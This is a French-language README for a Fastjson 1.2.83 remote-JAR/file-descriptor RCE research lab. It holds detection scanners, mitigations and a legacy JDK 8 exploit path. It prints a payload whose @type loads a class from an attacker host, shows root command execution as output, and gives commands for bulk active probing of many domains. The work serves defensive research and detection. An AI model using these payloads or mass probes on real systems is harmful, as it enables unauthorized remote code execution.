Laboratoire et détection de la chaîne remote-JAR/FD @JSONType de Fastjson

Ce dépôt conserve désormais deux axes de recherche Fastjson distincts :

• modern-fd/ est la reconstruction recommandée, à base de marqueurs uniquement, de la chaîne remote-JAR/file-descriptor en un seul corps de Fastjson 1.2.83 sur Spring Boot 3, Tomcat embarqué standard et JDK 17. Elle utilise le point de chute littéral à DTO fixe JSON.parseObject(body, BoundEnvelope.class) avec AutoType désactivé.
• Le laboratoire Docker Compose d'origine, à la racine, conserve l'ancienne voie directe de classe distante sous JDK 8. Il est capable d'exécuter des commandes et doit être traité comme une preuve héritée et isolée, plutôt que comme la méthode moderne sous JDK.
• scanner/ contient la détection passive de requêtes/journaux, l'inventaire statique d'artefacts et une sonde de joignabilité sans exécution.

Le bug : ParserConfig.checkAutoType sonde chaque valeur @type à la recherche de l'annotation @JSONType en exécutant getResourceAsStream(typeName.replace('.','/') + ".class"). Sur les combinaisons Linux/JDK modernes, une sonde distante jar:http peut laisser le JAR en cache derrière un descripteur ouvert ; des sondes ultérieures jar:file:/proc/self/fd/N dans le même corps peuvent le rouvrir sous des noms de classe valides et initialiser une classe annotée. La composition exacte 1.2.83 fonctionne avec AutoType désactivé et via un DTO fixe contenant List<Object>. La liaison (binding) seule n'est donc pas une mesure d'atténuation. Explication complète : docs/MECHANISM.md.

Résultats de la revue de sécurité

La revue associée de l'ensemble du projet a couvert 2 041 lignes callables/initialiseurs statiques dans les 193 fichiers Java de production de Fastjson 1.2.83. Le tableau ci-dessous hiérarchise les résultats au plus fort impact ; il n'affirme pas que chaque déploiement Fastjson est concerné. Ce dépôt reproduit directement F105. Les autres entrées résument une revue de code source scellée séparément et des preuves de laboratoire limitées.

Voir findings/FINDINGS.md pour les étiquettes de validation, les prérequis, les constats de niveau inférieur, les priorités de remédiation et les limites négatives explicites.

⚠️ Utilisation autorisée uniquement

Ce dépôt est destiné à l'éducation, la recherche défensive et les tests autorisés de systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester. La publication de l'hôte, lorsqu'elle est prise en charge pour le réseau interne du laboratoire moderne, n'est demandée que sur 127.0.0.1 ; ses scripts conduisent le test entièrement à l'intérieur de ce réseau isolé. Le laboratoire moderne ne possède aucune primitive d'exécution de processus et ne pose qu'un marqueur fixe dans la JVM. Le laboratoire hérité JDK 8 exécute bien id et écrit sa sortie dans /tmp/PWNED ; gardez-le isolé. Ne pointez pas l'exploit hérité ni la sonde active vers des systèmes non autorisés.

Analysez votre propre environnement

Le répertoire scanner/ fournit quatre outils Python 3 sans dépendance (aucune installation pip).

• fjdetect.py — inspecte passivement les corps de requêtes JSON décodés ou les journaux JSON structurés pour y chercher des amorces remote-JAR et des séquences /proc/self/fd ou /dev/fd.
• fjscan_static.py — inventorie les jars/wars/ears pour la combinaison vulnérable (1.2.83 vérifié par métadonnées et contenu × contenu réel des classes du chargeur Spring Boot). Les versions 1.2.48–1.2.82 portant la sonde et les candidats limités aux métadonnées/noms de fichiers sont signalés séparément pour examen. Conçu pour les passerelles CI (code de sortie 2 sur EXPOSED).
• fjscan_probe.py — contrôle actif et sûr de joignabilité : envoie le @type vers une canary que vous contrôlez (écouteur intégré ou Burp Collaborator / interactsh) et corrèle le rappel de récupération de ressource. Son écouteur intégré renvoie un 404 vide ; configurez les écouteurs externes de manière équivalente. Un rappel ne prouve ni le chargement de classe ni une RCE.
• fjpayload.py — génère des corps de récupération de ressources distantes pour les tests manuels ; n'utilisez qu'un écouteur vide/404 lorsque l'exécution n'est pas voulue.

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = une cible par ligne — une URL complète [METHOD ]URL ou un domaine nu (développé avec --scheme / --target-port / --path) ; les commentaires # sont autorisés :

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

Options

fjscan_probe.py (sonde active)

fjscan_static.py (inventaire) : <paths…> · --threads N (défaut 8) · --json (sortie machine ; code de sortie 2 si un EXPOSED est présent).

fjpayload.py (générateur) : <collaborator> · --targets-file/-f <file\|-> (en masse) · --port · --token · --wrap · --entry.

Note Collaborator : le point de chute jar: de @JSONType applique typeName.replace('.','/'), donc chaque point de l'hôte devient une barre oblique — un sous-domaine Burp Collaborator avec points (abc.oastify.com) ne peut pas y être délivré (les outils retombent sur une IP entière + un jeton de chemin d'URL). Pour obtenir un rappel vers un Collaborator public, utilisez --probe-type dns : la primitive java.net.Inet4Address accepte un hôte avec points et déclenche une interaction DNS (<tok>.<sub>.oastify.com), confirmant la primitive d'analyse Inet4Address + la sortie réseau. C'est une preuve préalable, pas une preuve du terminal remote-JAR/FD. Voir scanner/README.md.

Laboratoire moderne JDK à base de marqueurs uniquement (recommandé)

Prérequis : Docker + Docker Compose, et un accès sortant vers Maven Central lors de la première construction (pour récupérer fastjson / spring-boot-loader / asm).

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

Le cas positif envoie un corps à un thread de requête Tomcat embarqué normal. Son point de chute littéral est final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Le succès se limite à la propriété fixe et au jeton de journal FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 ; la réponse renvoie toujours un BoundEnvelope normalement lié. Le répertoire de preuves contient la requête, la réponse, les métadonnées du conteneur, les journaux et le manifeste SHA-256.

Les contrôles couvrent le JSON ordinaire, les candidats FD sans amorce, une amorce suivie de descripteurs impossibles, et SafeMode. Voir modern-fd/README.md.

La divulgation FearsOff montre le même terminal JAR retenu sous JDK 21 en utilisant un cache persistant au niveau du processus et un candidat FD par requête. Le laboratoire moderne de ce dépôt reproduit quant à lui une composition JDK 17 en un seul corps : l'amorce à échec souple et les candidats FD bornés sont portés par une seule requête à DTO fixe. JDK 21 reste rapporté en externe ; ce n'est pas un résultat d'exécution produit ici.

Laboratoire hérité JDK 8 à classe directe

Le projet Compose d'origine, à la racine, reste disponible pour reproduire l'ancienne voie en une étape. Contrairement à modern-fd/, il est capable d'exécuter des commandes et doit être exécuté uniquement dans le laboratoire isolé :

make up
make exploit
make down

Sortie attendue de make exploit :

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

La ClassCastException est le signe que la liaison n'est pas une mesure d'atténuation : la classe de l'attaquant exécute son <clinit> pendant la sonde @type, avant que fastjson tente de la convertir en Dto.

Variantes de la voie héritée

• Voie à classe directe uniquement : passer target/Dockerfile à JDK 17 bloque cette définition héritée à nom forgé et laisse une récupération. Ce résultat ne teste pas ni n'atténue la continuation distincte /proc/self/fd dans modern-fd/.
• Prouvez que ce n'est pas autoType : la cible n'appelle jamais setAutoTypeSupport(true) — vérifiez la bannière sur http://127.0.0.1:8080/.
• Commande personnalisée : PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.

Structure du dépôt

Mesures d'atténuation

Activez -Dfastjson.parser.safeMode=true sur le chemin ordinaire sans handler, ou utilisez la version com.alibaba:fastjson:1.2.83_noneautotype de l'éditeur lorsqu'une migration immédiate est impossible, et auditez les AutoTypeCheckHandlers installés. Restreignez la sortie réseau de la JVM ; migrez l'analyse non fiable loin de Fastjson 1.x ; alertez sur les amorces @type remote-JAR décodées et les candidats /proc/self/fd ou /dev/fd, à la fois au sein d'une même requête et corrélés entre requêtes. La liaison DTO et JDK 9+ ne sont pas des atténuations complètes pour la composition moderne.

fastjson2 — un problème distinct, en configuration par défaut

fastjson2/ est un second laboratoire indépendant. fastjson2 ne contient pas la sonde de ressource @JSONType de fastjson 1.x. Il permet cependant à un @type contrôlé par l'attaquant d'atteindre ClassLoader.loadClass() avec autoType désactivé, chaque fois que le chemin d'analyse implique un type polymorphe — car le constructeur d'ObjectReaderSeeAlso code en dur SupportAutoType, et un échec seeAlso retombe sur la résolution autoType complète avant que les vérifications d'assignabilité et DataSource/RowSet ne s'exécutent.

Les déclencheurs sont des annotations de modélisation ordinaires — @JSONType(seeAlso=), Jackson @JsonSubTypes (respectée car useJacksonAnnotation est vrai par défaut), @JsonTypeInfo, les types scellés. Sous un fat jar Spring Boot, le classloader de contexte résout les noms jar:http:, si bien que la classe est récupérée depuis le réseau et que son initialiseur statique s'exécute.

Reproduit sur fastjson2 2.0.62 (dernière version publiée) et 2.0.57, sous JDK 8. safeMode=true le bloque ; JDK 17 le rétrograde en SSRF ; autoTypeFilter(...) ne protège pas. Divulgué par Chaitin (长亭), ~2026-07-25 — ce n'est pas un constat de ce dépôt. Le mainteneur a un durcissement en cours dans PR #7703 (remplaçant la #7695 fermée) qui rejette : et ! dans les noms de type ; aucune version publiée ne le contient — 2.0.62 précède les deux.

make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

Crédits & références

• Divulgation originale et article technique : Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (21 juillet 2026). Il y divulgue les mêmes mécanismes JDK 8 à classe directe et JAR retenu moderne /proc/self/fd reconstruits ici.
• Avis du mainteneur : Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83. Il rapporte la joignabilité de l'API typée ainsi qu'une vérification sur Spring Boot 2.x–4.x et JDK 8/11/17/21. Ces matrices plus larges de versions/exécutions proviennent de l'amont ; la preuve d'exécution de ce dépôt reste Fastjson 1.2.83 sur les voies documentées JDK 8 et JDK 17.
• Preuve de concept publique et technique @JSONType / nom interne d'URL jar : @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java réimplémente cette technique pour ce laboratoire.
• Rapports sur la chaîne FD en JDK moderne : l'article WeChat et le rapport Cnyes détaillé antérieur ont fourni l'hypothèse du JAR retenu /proc/self/fd. Ils ont été traités comme des rapports externes, et non comme une preuve d'exécution indépendante.
• Implémentation publique Linux de la FD : DmTomHL/fastjson-1.2.83-gadget-rce a réduit l'écart de reconstruction. Son code capable de commandes a été revu statiquement et n'a pas été exécuté ; modern-fd/ utilise des classes à base de marqueurs uniquement, écrites indépendamment, et un point de terminaison Tomcat normal à DTO fixe.

Ce laboratoire et les outils scanner/ conditionnent ces constats dans un banc d'essai reproductible et des contrôles défensifs. Ce projet n'est ni affilié aux chercheurs ci-dessus, ni approuvé par eux.